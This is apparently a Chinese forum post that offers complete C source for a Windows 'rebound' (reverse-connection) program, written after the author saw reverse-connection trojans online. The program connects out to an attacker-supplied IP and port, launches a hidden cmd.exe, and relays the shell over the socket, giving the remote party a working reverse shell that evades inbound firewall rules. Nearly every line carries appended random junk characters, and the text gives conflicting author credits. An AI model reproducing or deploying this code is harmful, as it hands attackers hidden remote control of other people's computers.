这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 30#s aGV
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/* ============================== I(L,8n5
Rebound port in Windows NT J s@hLP`
By wind,2006/7 \O3m9,a
===============================*/ A5I)^B<(
#include OUPUixz2Z
#include ~S"+S/z/k
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#pragma comment(lib,"wsock32.lib") wo;~7K
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void OutputShell(); en4k/w_
SOCKET sClient; a
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; |}s*E_/[
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void main(int argc,char **argv) VK\X&Y3l
{ jKAEm
WSADATA stWsaData; DZ'P@f)]
int nRet; {0Yf]FQb-a
SOCKADDR_IN stSaiClient,stSaiServer; y*jp79G
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if(argc != 3) taHJ u b
{ vAF
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printf("Useage:\n\rRebound DestIP DestPort\n"); ,F8 Yn5h
return; gZ3u=uME
} Xv5wJlc!d
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WSAStartup(MAKEWORD(2,2),&stWsaData); r"3=44St
Pe_W;q.
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); p?%y82E
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stSaiClient.sin_family = AF_INET; z1 |TC
stSaiClient.sin_port = htons(0); v!-/&}W)1
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); .LnGL]/
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) TTX5EDCrC
{ i4Q@K,$
printf("Bind Socket Failed!\n"); O'p9u@kc
return; I#Y22&G1
} E1aHKjLQ
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stSaiServer.sin_family = AF_INET; a8e6H30Sm
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); T9E+\D
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); #_ ;lf1x!
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) >-RQ]?^
{ ~OYiq}g
printf("Connect Error!"); x*\Y)9Vgy
return; {=9,n\85#
} zOAd~E
OutputShell(); %8 B}Cb&2c
} A7Cm5>Y_S
kYP#SH/
void OutputShell() Ytp(aE:
{ #1A.?p
char szBuff[1024]; !OhC/f(GBZ
SECURITY_ATTRIBUTES stSecurityAttributes; R6<X%*&%
OSVERSIONINFO stOsversionInfo; \_VA50
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; hohfE3rd
STARTUPINFO stStartupInfo; T[w]o}>cW
char *szShell; _2Zx?<] 2E
PROCESS_INFORMATION stProcessInformation; h9&0Z+zs
unsigned long lBytesRead; !3c\NbU
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); a{'vN93
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); cN-?l7
stSecurityAttributes.lpSecurityDescriptor = 0; gS!:+G%
stSecurityAttributes.bInheritHandle = TRUE; t9GR69v:?
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ]`!>6/[
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); kUL'1!j7
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); /Y:sLGQLD
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; zJKv'>?
stStartupInfo.wShowWindow = SW_HIDE; /Iu1L#
stStartupInfo.hStdInput = hReadPipe; P[G)sA_"
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; kf\PioD8
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GetVersionEx(&stOsversionInfo); R^8o^z['6u
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switch(stOsversionInfo.dwPlatformId) G=s}12/Z"{
{ Pf")e,u$
case 1: <6%?OJhp
szShell = "command.com"; 58}U^IW
break; 6IN
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default: wQ:)KjhHH
szShell = "cmd.exe"; +[6G5cH
break; /wGM#sFH
} '|6]_
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); TNT4<5Ol6
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send(sClient,szMsg,77,0); t4."/.=+
while(1) 9R!atPz9
{ 1fp?
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); VD;01"#'
if(lBytesRead) `f,/`''R
{ *nT<m\C6
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); t5^{D>S1
send(sClient,szBuff,lBytesRead,0); %?1ew
} rK8lBy:<
else XW2b| %T
{ ol\Utq,
lBytesRead=recv(sClient,szBuff,1024,0); rm'SOJVA
if(lBytesRead<=0) break; h]5(].
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); YH}'s>xZz
} nUaJzPl
} ^)/0yB
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return; v4!VrI
}